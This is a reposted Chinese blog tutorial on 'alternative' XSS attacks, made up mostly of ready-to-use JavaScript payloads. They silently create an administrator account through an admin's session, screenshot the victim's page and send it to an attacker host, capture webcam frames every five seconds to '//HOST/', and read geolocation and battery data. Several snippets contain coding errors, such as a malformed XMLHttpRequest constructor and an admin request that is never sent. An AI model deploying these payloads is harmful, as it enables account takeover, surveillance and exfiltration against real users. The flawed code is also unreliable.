• 【XSS技巧拓展】————14、XSS攻击另类玩法


    今天就来讲一下大家都熟悉的 xss漏洞的攻击利用。相信大家对xss已经很熟悉了,但是很多安全人员的意识里 xss漏洞危害只有弹窗或者窃取cookie。但是xss还有更多的花式玩法,今天将介绍几种。

    1.  xss攻击添加管理员

    后台触发存储型XSS,网站设置http-only,窃取的cookie无效。那么如何在这种情况下利用xss漏洞。无法获取cookie,但是我们可以利用xss漏洞,以管理员的权限,添加一个新的管理员。没错,就是让管理员给我们加一个高权限账号。
    这里我们会用到 JavaScript和Ajax 技术。 利用xmlhttp 发送一个http请求,在后台发送一个添加管理员的post请求。

    var request = false;
    if(window.XMLHttpRequest) {
        request = new.XMLHttpRequest();
        if(request.overrideMimeType) {
            request.overrideMimeType('text/html');
        }
    } else if(Window.ActiveXObject) {
        var versions = {'Microsoft.XMLHTTP','MSXML_XMLHTTP','Microsoft.XMLHTTP','Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0','Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP'};
        for(var i=0; i<versions.length; i ++){
            try{
                request = new ActiveXObject(versions[i]);
            }catch(e){}
    }
    }
    xmlhttp = request;
    
    add_admin();
    function add_admin(){
        var url = "/admin/admin_add_user.php";  //添加用户请求地址
        var params = "username=xss&passwod=123456&email=xss@xss.com&submit=1" //添加用户post数据
        xmlhttp.open("POST",url,true);
        xmlhttp.setRequstHeader("Content-type","application/x-www-form-urlencoded")
        xmlhttp.setRequstHeader("Content-length",params.length);
        xmlhttp.setRequstHeader("Connection","close")
        }

    2, xss截取客户的屏幕

    现在随着技术的进步,前端技术支持的面非常广泛。xss漏洞可以利用html5的 canvas 来进行屏幕的截屏功能,类似于远程控制木马查看对方屏幕功能。这个可以大大的提高对于进一步入侵的信息收集。废话不说直接上代码。

    这里需要用到一个js库 html2canvas.js

    document.write("<script src="html2canvas.js></script>");   
    
    window.onload=function(){
            html2canvas(document.body, {
            onrendered: function(canvas) {
    
    //下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post
    xhr=function(){
            var request = false;
            if(window.XMLHttpRequest){
                    request = new XMLHttpRequest();
            }else if (window.ActiveXObject){
                    try{
                            request = new window.ActiveXObject('Microsoft.XMLHTTP');
                    }catch(e){
    
                    }
            }
    
            return request;
    }();
    
    request = function(method,src,argv,content_type){
            xhr.open(method,src,false);
            if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
            xhr.send(argv);                                         //发送POST数据
            return xhr.responseText;
    };
    
    attack_a = function(){
            var src         = "http://xxx.com/xss.php?";                 //post接收地址
            var argv_0      = "'&screenshot="+canvas.toDataURL();    //post字段名称为screenshot
            request("POST",src,argv_0,"application/x-www-form-urlencoded");
    };
    
    attack_a();
    
                                      }
                                    });
                            }

    上面的代码是针对 pc端的截屏,手机端的截屏xss代码有所不同

    <script>
    d=document;
    v=d.createElement('video');
    c=d.createElement('canvas');
    c.width=640;
    c.height=480;
    navigator.webkitGetUserMedia({'video':true},function(s){
    v.src=URL.createObjectURL(s);v.play()},function(){});
    c2=c.getContext('2d');
    x='c2.drawImage(v,0,0,640,480);fetch("//HOST/"+c2.canvas.toDataURL())';
    setInterval(x,5000);
    </script>

    3.xss对移动端的攻击

    现在越来越多的人喜欢用手机查看网页,xss针对手机端的支持也很友好。这里只针对手机端Firefox浏览器说明。

    xss获取对方经纬度代码

    <script>
    
    navigator.geolocation.getCurrentPosition(function(p){
    
    alert('Latitude:'+p.coords.latitude+',Longitude:'+
    p.coords.longitude+',Altitude:'+p.coords.altitude);})
    
    </script>

    xss获取电池状态的代码,这里需要用到JavaScript Battery API

    <svg onload=alert(navigator.battery.level)>
    
    <svg onload=alert(navigator.battery.dischargingTime)>
    
    <svg onload=alert(navigator.battery.charging)>

    更多xss猥琐玩法欢迎交流,文章若有错误请留言告知~

    转自:https://bbs.ichunqiu.com/thread-25578-1-1.html?from=sec

    总会有不期而遇的温暖. 和生生不息的希望。
  • 相关阅读:
    C#中委托和事件的区别
    Linux centos7 计划任务与日志的管理
    linux shell检查字符串是否是IP
    Linux脚本中$#、$0、$1、$@、$*、$$、$?
    Linux命令学习之shift命令
    CentOS7编写systemd服务脚本
    java数据类型转换
    centos7 升级openssh到openssh-8.3p1版本
    oracle的簇的创建
    oracle 分区表的维护
  • 原文地址:https://www.cnblogs.com/devi1/p/13486405.html
Copyright © 2020-2023  润新知